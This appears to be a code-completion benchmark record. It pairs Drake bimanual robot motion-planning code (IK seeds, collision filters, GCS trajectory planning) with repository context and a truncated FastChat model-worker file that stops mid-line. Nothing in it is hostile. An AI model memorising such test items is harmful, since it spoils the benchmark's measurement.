0.114])) arm_models = [iiwa1_start.model_instance, wsg1_start.model_instance, iiwa2_start.model_instance, wsg2_start.model_instance, iiwa1_goal, wsg1_goal, iiwa2_goal, wsg2_goal]
def getIkSeeds(): return { "top_shelf/top_shelf": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "top_shelf/shelf_1": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.65])), "top_shelf/shelf_2": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.4])), "top_shelf/bin_L": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, np.pi), [0., 1.1, 0.3])), "shelf_1/top_shelf": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.65]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "shelf_1/shelf_1": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.65]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.65])), "shelf_1/shelf_2": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.65]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.4])), "shelf_1/bin_L": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.65]), RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, np.pi), [0., 1.1, 0.3])), "shelf_2/top_shelf": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "shelf_2/shelf_1": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.65])), "shelf_2/shelf_2": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.4])), "shelf_2/bin_L": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.4]), RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, np.pi), [0., 1.1, 0.3])), "bin_R/top_shelf": (RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, -np.pi), [0.0, -0.6, 0.3]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "bin_R/shelf_1": (RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, -np.pi), [0.0, -0.6, 0.3]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.65])), "bin_R/shelf_2": (RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, -np.pi), [0.0, -0.6, 0.3]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.4])), "bin_R/bin_L": (RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, -np.pi), [0.0, -0.6, 0.3]), RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, np.pi), [0., 1.1, 0.3])), "top_shelf/shelf_1_extract": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.5, 0.35, 0.65])), "top_shelf/shelf_2_extract": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.5, 0.35, 0.4])), "shelf_2_extract/top_shelf": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.5, 0.15, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "shelf_1_extract/top_shelf": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.5, 0.15, 0.65]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.35, 0.9])), "top_shelf/shelf_1_cross": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2-0.3), [0.7, 0.15, 0.65])), "cross_table/top_shelf_cross": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi), [0.4, 0.4, 0.2]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.15, 0.9])), "shelf_2_cross/top_shelf_cross": (RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2+0.4), [0.7, 0.35, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2-0.4), [0.7, 0.15, 0.9])), } def getConfigurationSeeds(): return { "top_shelf/top_shelf": [0.37080011, 0.41394084, -0.16861973, -0.70789778, -0.37031516, 0.60412162, 0.39982981, -0.37080019, 0.41394089, 0.16861988, -0.70789766, 0.37031506, 0.60412179, -0.39982996], "top_shelf/shelf_1": [0.37080079, 0.41394132, -0.16862043, -0.70789679, -0.37031656, 0.60412327, 0.39982969, -0.93496924, 0.46342534, 0.92801666, -1.45777635, -0.31061724, -0.0657716, -0.06019899], "top_shelf/shelf_2": [0.37086448, 0.41394538, -0.16875166, -0.70789745, -0.37020563, 0.60411217, 0.399785, -0.4416204 , 0.62965228, 0.20598405, -1.73324339, -0.41354372, -0.68738414, 0.17443976], "top_shelf/bin_L": [0.37081989, 0.41394235, -0.16866012, -0.70789737, -0.37028201, 0.60411923, 0.39981634, -0.89837331, -1.1576151 , 1.75505216, -1.37515153, 1.0676443 , 1.56371166, -0.64126346], "shelf_1/top_shelf": [0.93496924, 0.46342534, -0.92801666, -1.45777635, 0.31061724, -0.0657716 , 0.06019899, -0.37080079, 0.41394132, 0.16862043, -0.70789679, 0.37031656, 0.60412327, -0.39982969], "shelf_1/shelf_1": [0.87224109, 0.43096634, -0.82223436, -1.45840049, 0.73813452, -0.08999384, -0.41624203, -0.87556489, 0.43246906, 0.82766047, -1.45838515, -0.72259842, -0.0884963, 0.39840129], "shelf_1/shelf_2": [0.93496866, 0.463425 , -0.92801564, -1.45777634, 0.3106235, -0.06577172, 0.06019173, -0.44158858, 0.62964838, 0.20594112, -1.73324341, -0.41354987, -0.6873923 , 0.17446778], "shelf_1/bin_L": [0.93496918, 0.46342531, -0.92801656, -1.45777637, 0.31061728, -0.06577167, 0.06019927, -0.89837321, -1.15761746, 1.75504915, -1.37515113, 1.06764716, 1.56371454, -0.64126383], "shelf_2/top_shelf": [0.4416204, 0.62965228, -0.20598405, -1.73324339, 0.41354372, -0.68738414, -0.17443976, -0.37086448, 0.41394538, 0.16875166, -0.70789745, 0.37020563, 0.60411217, -0.399785], "shelf_2/shelf_1": [0.44158858, 0.62964838, -0.20594112, -1.73324341, 0.41354987, -0.6873923, -0.17446778, -0.93496866, 0.463425 , 0.92801564, -1.45777634, -0.3106235 , -0.06577172, -0.06019173], "shelf_2/shelf_2": [0.44161313, 0.62965141, -0.20597435, -1.73324346, 0.41354447, -0.68738613, -0.17444557, -0.4416132 , 0.62965142, 0.20597452, -1.73324348, -0.41354416, -0.68738609, 0.17444625], "shelf_2/bin_L": [0.44161528, 0.62965169, -0.20597726, -1.73324347, 0.41354399, -0.68738565, -0.17444283, -1.37292761, -0.68372976, 2.96705973, -1.41521783, 2.96705973, -1.11343251, -3.0140737 ], "bin_R/top_shelf": [0.81207926, -1.25359738, -1.58098625, -1.5155474 , -1.32223687, 1.50549708, -2.38221725, -0.37085114, 0.4139444 , 0.16872443, -0.70789757, 0.37022786, 0.60411401, -0.39979449], "bin_R/shelf_1": [0.81207923, -1.25358454, -1.58100042, -1.51554769, -1.32222337, 1.50548369, -2.3822204 , -0.9349716 , 0.46342674, 0.92802082, -1.45777624, -0.31059455, -0.0657707 , -0.06022391], "bin_R/shelf_2": [0.81207937, -1.25360462, -1.58097816, -1.51554761, -1.32224557, 1.50550485, -2.38221483, -0.44166552, 0.62965782, 0.20604497, -1.7332434 , -0.41353464, -0.6873727 , 0.17439863], "bin_R/bin_L": [-1.73637519, 0.6209681 , 0.24232887, -1.51538355, -0.17977474, 0.92618894, -3.01360257, 1.31861497, 0.72394333, 0.4044295 , -1.37509496, -0.27461997, 1.20038493, 0.18611701], "neutral/neutral": [0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], "neutral/shelf_1": [0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, -0.93496866, 0.463425 , 0.92801564, -1.45777634, -0.3106235 , -0.06577172, -0.06019173], "neutral/shelf_2": [0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, -0.44166552, 0.62965782, 0.20604497, -1.7332434 , -0.41353464, -0.6873727 , 0.17439863], "shelf_1/neutral": [0.93496924, 0.46342534, -0.92801666, -1.45777635, 0.31061724, -0.0657716 , 0.06019899, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], "shelf_2/neutral": [0.44161528, 0.62965169, -0.20597726, -1.73324347, 0.41354399, -0.68738565, -0.17444283, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], "shelf_2_cross/top_shelf_cross": [0.47500706, 0.72909874, 0.01397772, -1.52841372, 0.15392366, -0.591641, -0.12870521, -0.48821156, 0.67762534, 0.02049926, -0.27420758, 0.10620709, 0.72215209, -0.09973172], } # Additional seed points not needed to connect the graph # "neutral/shelf_1_extract": [ 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, -0.35486829, -0.10621117, -0.09276445, -1.94995786, 1.88826556, 0.46922151, -1.98267349], # "neutral/shelf_2_extract": [ 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, 0.3078069 , 0.56765359, -0.86829439, -2.0943951 , 2.53950045, 1.09607546, -2.4169564], # "shelf_1_extract/neutral": [-1.05527083, -0.43710629, 1.15648812, -1.95011062, 0.24422131, -0.07820216, 0.15872416, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], # "shelf_2_extract/neutral": [-0.30739053, 0.5673891 , 0.86772198, -2.0943951 , -2.53946773, 1.09586777, 2.41729532, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], # "cross_table/top_shelf_cross": [ 0.04655887, 0.97997658, 0.52004246, -1.91926412, -1.37518707, -0.88823968, 0.07674699, -0.5921624 , 0.83651867, 0.20513136, -0.00257881, 0.51748756, 0.92012332, -0.51686487], def getDemoConfigurations(): return [ [0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0], [0.69312848, 0.36303784, -0.66625368, -1.49515991, 0.3230085, -0.10942887, -0.09496304, -0.69312891, 0.36303794, 0.66625426, -1.49515975, -0.32300928, -0.10942832, 0.0949629], [0.2014604, 0.66463495, 0.16799372, -1.66212763, -0.09131682, -0.64368844, -0.03645568, -0.38777291, 0.56141139, -0.05760515, -0.47447495, 0.06515541, 0.63627899, -0.02552148], [-1.8487163 , 0.71749397, 0.66464618, -1.4912954 , -0.52882233, 1.0096015 , -2.62844995, 1.43620829, 0.70451542, -0.01532988, -1.34999693, -0.00550105, 1.18684923, -0.14400234], ] def generateDemoConfigurations(plant, context, wsg1_id, wsg2_id): demo_q = [[0.0, -0.2, 0, -1.2, 0, 1.6, 0.0, 0.0, -0.2, 0, -1.2, 0, 1.6, 0.0]] initial_guess = copy(demo_q[0]) demo_q.append(runBimanualIK( plant, context, wsg1_id, wsg2_id, RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.10, 0.65]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2), [0.7, 0.40, 0.65]), initial_guess, (0.01, 0.01))) demo_q.append(runBimanualIK( plant, context, wsg1_id, wsg2_id, RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2+0.4), [0.7, 0.25, 0.4]), RigidTransform(RollPitchYaw(-np.pi+0.1, 0, np.pi/2-0.4), [0.7, 0.20, 0.9]), initial_guess, None)) initial_guess[0] = -np.pi/2 initial_guess[7] = np.pi/2 demo_q.append(runBimanualIK( plant, context, wsg1_id, wsg2_id, RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, -np.pi), [0.09, -0.6, 0.3]), RigidTransform(RollPitchYaw(-np.pi/2+0.1, 0, np.pi), [0.09, 1.1, 0.3]), initial_guess, None)) return demo_q def filterCollsionGeometry(scene_graph, context): filter_manager = scene_graph.collision_filter_manager(context) inspector = scene_graph.model_inspector() iiwa1 = [[], [], [], [], [], [], [], []] iiwa2 = [[], [], [], [], [], [], [], []] wsg1 = [] wsg2 = [] shelf = [] bins = [[], []] table = [] for gid in inspector.GetGeometryIds( GeometrySet(inspector.GetAllGeometryIds()), Role.kProximity): gid_name = inspector.GetName(inspector.GetFrameId(gid)) if "iiwa_1::iiwa_link_" in gid_name: link_num = gid_name[18] iiwa1[int(link_num)].append(gid) elif "iiwa_2::iiwa_link_" in gid_name: link_num = gid_name[18] iiwa2[int(link_num)].append(gid) elif "wsg_1" in gid_name: wsg1.append(gid) elif "wsg_2" in gid_name: wsg2.append(gid) elif "shelves::" in gid_name: shelf.append(gid) elif "binR" in gid_name: bins[0].append(gid) elif "binL" in gid_name: bins[1].append(gid) elif "table" in gid_name: table.append(gid) else: print("Geometry", gid_name, "not assigned to an object.") filter_manager.Apply(CollisionFilterDeclaration().ExcludeWithin( GeometrySet(iiwa1[0] + iiwa1[1] + iiwa1[2] + iiwa1[3] + shelf))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[1] + iiwa1[2]+ iiwa1[3]), GeometrySet(iiwa1[4] + iiwa1[5]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[3] + iiwa1[4]), GeometrySet(iiwa1[6]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[2] + iiwa1[3] + iiwa1[4] + iiwa1[5] + iiwa1[6]), GeometrySet(iiwa1[7] + wsg1))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[0] + iiwa1[0] + iiwa1[2]), GeometrySet(bins[0]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[0] + iiwa1[1] + iiwa1[2] + iiwa1[3] + iiwa1[4]), GeometrySet(bins[1]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[0] + iiwa1[0] + iiwa1[2]), GeometrySet(table))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeWithin( GeometrySet(iiwa2[0] + iiwa2[1] + iiwa2[2] + iiwa2[3] + shelf))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[1] + iiwa2[2]+ iiwa2[3]), GeometrySet(iiwa2[4] + iiwa2[5]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[3] + iiwa2[4]), GeometrySet(iiwa2[6]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[2] + iiwa2[3] + iiwa2[4] + iiwa2[5] + iiwa2[6]), GeometrySet(iiwa2[7] + wsg2))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[0] + iiwa2[0] + iiwa2[2]), GeometrySet(bins[1]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[0] + iiwa2[1] + iiwa2[2] + iiwa2[3] + iiwa2[4]), GeometrySet(bins[0]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa2[0] + iiwa2[0] + iiwa2[2]), GeometrySet(table))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[0] + iiwa1[1]), GeometrySet(iiwa2[0] + iiwa2[1]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[2]), GeometrySet(iiwa2[0] + iiwa2[1]))) filter_manager.Apply(CollisionFilterDeclaration().ExcludeBetween( GeometrySet(iiwa1[0] + iiwa1[1]), GeometrySet(iiwa2[2]))) pairs = scene_graph.get_query_output_port().Eval(context).inspector().GetCollisionCandidates() print("Filtered collision pairs from", len(inspector.GetCollisionCandidates()), "to", len(pairs)) # initial_guess = np.concatenate((q0, q0)) # min_dist = (0.01, 0.01)??? def runBimanualIK(plant, context, wsg1_id, wsg2_id, wsg1_pose, wsg2_pose, initial_guess, min_dist=None): hand_frame1 = plant.GetBodyByName("body", wsg1_id).body_frame() hand_frame2 = plant.GetBodyByName("body", wsg2_id).body_frame() ik = InverseKinematics(plant, context) if min_dist is not None: ik.AddMinimumDistanceConstraint(*min_dist) ik.prog().AddBoundingBoxConstraint(plant.GetPositionLowerLimits(), plant.GetPositionUpperLimits(), ik.q()) ik.prog().SetInitialGuess(ik.q(), initial_guess) ik.prog().AddQuadraticCost((ik.q() - initial_guess).dot(ik.q() - initial_guess)) ik.AddPositionConstraint(hand_frame1, [0, 0, 0], plant.world_frame(), wsg1_pose.translation(), wsg1_pose.translation()) ik.AddOrientationConstraint(hand_frame1, RotationMatrix(), plant.world_frame(), wsg1_pose.rotation(), 0.001) ik.AddPositionConstraint(hand_frame2, [0, 0, 0], plant.world_frame(), wsg2_pose.translation(), wsg2_pose.translation()) ik.AddOrientationConstraint(hand_frame2, RotationMatrix(), plant.world_frame(), wsg2_pose.rotation(), 0.001) result = Solve(ik.prog()) return result.GetSolution(ik.q()) def visualizeConfig(diagram, plant, context, q): plant_context = plant.GetMyMutableContextFromRoot(context) plant.SetPositions(plant_context, q) diagram.ForcedPublish(context) def getLinearGcsPath(regions, sequence): path = [sequence[0]] run_time = 0.0 gcs = LinearGCS(regions) gcs.setPaperSolverOptions() gcs.setSolver(MosekSolver()) for start_pt, goal_pt in zip(sequence[:-1], sequence[1:]): gcs.addSourceTarget(start_pt, goal_pt) start_time = time.time() waypoints, results_dict = gcs.SolvePath(True, False, preprocessing=True) if waypoints is None: print(f"Failed between {start_pt} and {goal_pt}") return None print(f"Planned segment in {np.round(time.time() - start_time, 4)}", flush=True) # run_time += results_dict["preprocessing_stats"]['linear_programs'] run_time += results_dict["relaxation_solver_time"] run_time += results_dict["total_rounded_solver_time"] path += waypoints.T[1:].tolist() gcs.ResetGraph() return np.stack(path).T, run_time def getBezierGcsPath(plant, regions, sequence, order, continuity, hdot_min = 1e-3): run_time = [] trajectories = [] gcs = BezierGCS(regions, order, continuity) gcs.addTimeCost(1) gcs.addPathLengthCost(1) gcs.addDerivativeRegularization(1e-3, 1e-3, 2) gcs.addVelocityLimits(0.6*plant.GetVelocityLowerLimits(), 0.6*plant.GetVelocityUpperLimits()) gcs.setPaperSolverOptions() gcs.setSolver(MosekSolver()) gcs.setRoundingStrategy(randomForwardPathSearch, max_paths = 10, max_trials = 100, seed = 0) for start_pt, goal_pt in zip(sequence[:-1], sequence[1:]): segment_run_time=0.0 gcs.addSourceTarget(start_pt, goal_pt) start_time = time.time() segment_traj, results_dict = gcs.SolvePath(True, False, preprocessing=True) if segment_traj is None: print(f"Failed between {start_pt} and {goal_pt}") return None print(f"Planned segment in {np.round(time.time() - start_time, 4)}", flush=True) # segment_run_time += results_dict["preprocessing_stats"]['linear_programs'] segment_run_time += results_dict["relaxation_solver_time"] segment_run_time += results_dict["total_rounded_solver_time"] trajectories.append(segment_traj) run_time.append(segment_run_time) print("\tRounded cost:", np.round(results_dict["rounded_cost"], 4), "\tRelaxed cost:", np.round(results_dict["relaxation_cost"], 4)) print("\tCertified Optimality Gap:", (results_dict["rounded_cost"]-results_dict["relaxation_cost"]) /results_dict["relaxation_cost"]) gcs.ResetGraph() return trajectories, run_time class VectorTrajectorySource(LeafSystem): def __init__(self, trajectories): LeafSystem.__init__(self) self.trajectories = trajectories self.start_time = [0] for traj in trajectories: self.start_time.append(self.start_time[-1] + traj.end_time()) self.start_time = np.array(self.start_time) self.port = self.DeclareVectorOutputPort("traj_eval", 14, self.DoVecTrajEval, {self.time_ticket()}) def DoVecTrajEval(self, context, output): t = context.get_time() traj_index = np.argmax(self.start_time > t) - 1 q = self.trajectories[traj_index].value(t - self.start_time[traj_index]) output.set_value(q) def visualize_trajectory(traj, meshcat): builder = DiagramBuilder() scene_graph = builder.AddSystem(SceneGraph()) plant = MultibodyPlant(time_step=0.0) plant.RegisterAsSourceForSceneGraph(scene_graph) parser = Parser(plant) parser.package_map().Add("gcs", GcsDir()) directives_file = FindModelFile("models/bimanual_iiwa.yaml") directives = LoadModelDirectives(directives_file) models = ProcessModelDirectives(directives, plant, parser) [iiwa_1, wsg_1, iiwa_2, wsg_2, shelf, binR, binL, table] = models plant.Finalize() to_pose = builder.AddSystem(MultibodyPositionToGeometryPose(plant)) builder.Connect(to_pose.get_output_port(), scene_graph.get_source_pose_port(plant.get_source_id())) if type(traj) is list: traj_system = builder.AddSystem(VectorTrajectorySource(traj)) end_time = np.sum([t.end_time() for t in traj]) else: traj_system = builder.AddSystem(TrajectorySource(traj)) end_time = traj.end_time() builder.Connect(traj_system.get_output_port(), to_pose.get_input_port()) meshcat_viz = MeshcatVisualizer.AddToBuilder(builder, scene_graph, meshcat) meshcat.Delete() vis_diagram = builder.Build() simulator = Simulator(vis_diagram) plant_context = plant.CreateDefaultContext() rgb_color = [i/255 for i in (0, 0, 255, 255)] iiwa1_X = [] iiwa2_X = [] if type(traj) is list: for t in traj: q_waypoints = t.vector_values(np.linspace(t.start_time(), t.end_time(), 1000)) for ii in range(q_waypoints.shape[1]): plant.SetPositions(plant_context, q_waypoints[:, ii]) iiwa1_X.append(plant.EvalBodyPoseInWorld( plant_context, plant.GetBodyByName("body", wsg_1.model_instance))) iiwa2_X.append(plant.EvalBodyPoseInWorld( plant_context, plant.GetBodyByName("body", wsg_2.model_instance))) iiwa1_pointcloud = PointCloud(len(iiwa1_X)) iiwa1_pointcloud.mutable_xyzs()[:] = np.array( list(map(lambda X: X.translation(), iiwa1_X))).T[:] meshcat.SetObject("paths/iiwa_1", iiwa1_pointcloud, 0.015, rgba=Rgba(*rgb_color)) iiwa2_pointcloud = PointCloud(len(iiwa2_X)) iiwa2_pointcloud.mutable_xyzs()[:] = np.array( list(map(lambda X: X.translation(), iiwa2_X))).T[:] meshcat.SetObject("paths/iiwa_2", iiwa2_pointcloud, 0.015, rgba=Rgba(*rgb_color)) meshcat_viz.StartRecording() simulator.AdvanceTo(end_time) meshcat_viz.PublishRecording() def generate_segment_pics(traj, segment, meshcat): builder = DiagramBuilder() plant, scene_graph = AddMultibodyPlantSceneGraph(builder, time_step=0.0) parser = Parser(plant, scene_graph) parser.package_map().Add("gcs", GcsDir()) directives_file = FindModelFile("models/bimanual_iiwa.yaml") iiwa_file = FindResourceOrThrow( "drake/manipulation/models/iiwa_description/urdf/iiwa14_spheres_collision.urdf") wsg_file = FindModelFile("models/schunk_wsg_50_welded_fingers.sdf") directives = LoadModelDirectives(directives_file) models = ProcessModelDirectives(directives, plant, parser) [iiwa1_start, wsg1_start, iiwa2_start, wsg2_start, shelf, binR, binL, table] = models iiwa1_goal = parser.AddModelFromFile(iiwa_file, "iiwa1_goal") wsg1_goal = parser.AddModelFromFile(wsg_file, "wsg1_goal") iiwa2_goal = parser.AddModelFromFile(iiwa_file, "iiwa2_goal") wsg2_goal = parser.AddModelFromFile(wsg_file, "wsg2_goal") plant.WeldFrames(plant.world_frame(), plant.GetFrameByName("base", iiwa1_goal), RigidTransform()) plant.WeldFrames(plant.GetFrameByName("iiwa_link_7", iiwa1_goal), plant.GetFrameByName("body", wsg1_goal), RigidTransform(rpy=RollPitchYaw([np.pi/2., 0, np.pi/2]), p=[0, 0, 0.114])) plant.WeldFrames(plant.world_frame(), plant.GetFrameByName("base", iiwa2_goal), RigidTransform([0, 0.5, 0])) plant.WeldFrames(plant.GetFrameByName("iiwa_link_7", iiwa2_goal), plant.GetFrameByName("body", wsg2_goal), RigidTransform(rpy=RollPitchYaw([np.pi/2., 0, np.pi/2]), p=[0, 0, 0.114])) arm_models = [iiwa1_start.model_instance, wsg1_start.model_instance, iiwa2_start.model_instance, wsg2_start.model_instance, iiwa1_goal, wsg1_goal, iiwa2_goal, wsg2_goal]
set_transparency_of_models(plant, arm_models, 0.4, scene_graph)
2
2023-10-13 00:27:32+00:00
12k
imagination-research/sot
demo/model_worker.py
[ { "identifier": "batch_generate_stream", "path": "sot/models/batch_inference.py", "snippet": "@torch.inference_mode()\ndef batch_generate_stream(\n model,\n tokenizer,\n params: Dict,\n device: str,\n context_len: int,\n stream_interval: int = 2,\n judge_sent_end: bool = False,\n):\...
import argparse import asyncio import dataclasses import logging import json import os import time import threading import uuid import requests import torch import torch.nn.functional as F import uvicorn from typing import List from fastapi import FastAPI, Request, BackgroundTasks from fastapi.responses import StreamingResponse, JSONResponse from transformers import ( AutoTokenizer, AutoModelForCausalLM, LlamaTokenizer, AutoModel, ) from transformers import ( AutoTokenizer, AutoModelForCausalLM, LLaMATokenizer, AutoModel, ) from fastchat.constants import WORKER_HEART_BEAT_INTERVAL, ErrorCode, SERVER_ERROR_MSG from fastchat.model.model_adapter import ( load_model, add_model_args, get_conversation_template, get_generate_stream_function, ) from fastchat.modules.gptq import GptqConfig from fastchat.utils import build_logger, pretty_print_semaphore, get_context_length from sot.models.batch_inference import batch_generate_stream from sot.schedulers.naive_scheduler import NaiveScheduler from sot.schedulers.outline_batch_scheduler import OutlineBatchScheduler from sot.schedulers.router_outline_batch_scheduler import RouterOutlineBatchScheduler from sot.models.fastchat_model import FastChatModel
7,450
self.heart_beat_thread.start() def register_to_controller(self): logger.info("Register to controller") url = self.controller_addr + "/register_worker" data = { "worker_name": self.worker_addr, "check_heart_beat": True, "worker_status": self.get_status(), } r = requests.post(url, json=data) assert r.status_code == 200 def send_heart_beat(self): logger.info( f"Send heart beat. Models: {self.model_names}. " f"Semaphore: {pretty_print_semaphore(self.semaphore)}. " f"call_ct: {self.call_ct}. " f"worker_id: {self.worker_id}. " ) url = self.controller_addr + "/receive_heart_beat" while True: try: ret = requests.post( url, json={ "worker_name": self.worker_addr, "queue_length": self.get_queue_length(), }, timeout=5, ) exist = ret.json()["exist"] break except requests.exceptions.RequestException as e: logger.error(f"heart beat error: {e}") time.sleep(5) if not exist: self.register_to_controller() def get_queue_length(self): if ( self.semaphore is None or self.semaphore._value is None or self.semaphore._waiters is None ): return 0 else: return ( self.limit_worker_concurrency - self.semaphore._value + len(self.semaphore._waiters) ) def get_status(self): return { "model_names": self.model_names, "speed": 1, "queue_length": self.get_queue_length(), } def count_token(self, params): prompt = params["prompt"] input_ids = self.tokenizer(prompt).input_ids input_echo_len = len(input_ids) ret = { "count": input_echo_len, "error_code": 0, } return ret def get_conv_template(self): return {"conv": self.conv} class ModelWorker(BaseModelWorker): def __init__( self, controller_addr: str, worker_addr: str, worker_id: str, model_path: str, model_names: List[str], limit_worker_concurrency: int, no_register: bool, device: str, num_gpus: int, max_gpu_memory: str, load_8bit: bool = False, cpu_offloading: bool = False, gptq_ckpt: str = None, gptq_wbits: int = None, gptq_groupsize: int = None, gptq_act_order: bool = None, awq_ckpt: str = None, awq_wbits: int = None, awq_groupsize: int = None, revision: str = None, stream_interval: int = 2, conv_template: str = None, temperature: float = 0.7, repetition_penalty: float = 1.0, max_new_tokens: int = 512, prompt_file: str = None, router_file: str = None, ): super().__init__( controller_addr, worker_addr, worker_id, model_path, model_names, limit_worker_concurrency, ) logger.info(f"Loading the model {self.model_names} on worker {worker_id} ...")
""" A model worker that executes the model. """ try: except ImportError: worker_id = str(uuid.uuid4())[:8] logger = build_logger("model_worker", f"model_worker_{worker_id}.log") app = FastAPI() def heart_beat_worker(obj): while True: time.sleep(WORKER_HEART_BEAT_INTERVAL) obj.send_heart_beat() class BaseModelWorker: def __init__( self, controller_addr: str, worker_addr: str, worker_id: str, model_path: str, model_names: List[str], limit_worker_concurrency: int, ): self.controller_addr = controller_addr self.worker_addr = worker_addr self.worker_id = worker_id if model_path.endswith("/"): model_path = model_path[:-1] self.model_names = model_names or [model_path.split("/")[-1]] self.limit_worker_concurrency = limit_worker_concurrency self.conv = get_conversation_template(model_path) self.conv.sep_style = int(self.conv.sep_style) self.tokenizer = None self.context_len = None self.call_ct = 0 self.semaphore = None self.heart_beat_thread = None def init_heart_beat(self): self.register_to_controller() self.heart_beat_thread = threading.Thread( target=heart_beat_worker, args=(self,) ) self.heart_beat_thread.start() def register_to_controller(self): logger.info("Register to controller") url = self.controller_addr + "/register_worker" data = { "worker_name": self.worker_addr, "check_heart_beat": True, "worker_status": self.get_status(), } r = requests.post(url, json=data) assert r.status_code == 200 def send_heart_beat(self): logger.info( f"Send heart beat. Models: {self.model_names}. " f"Semaphore: 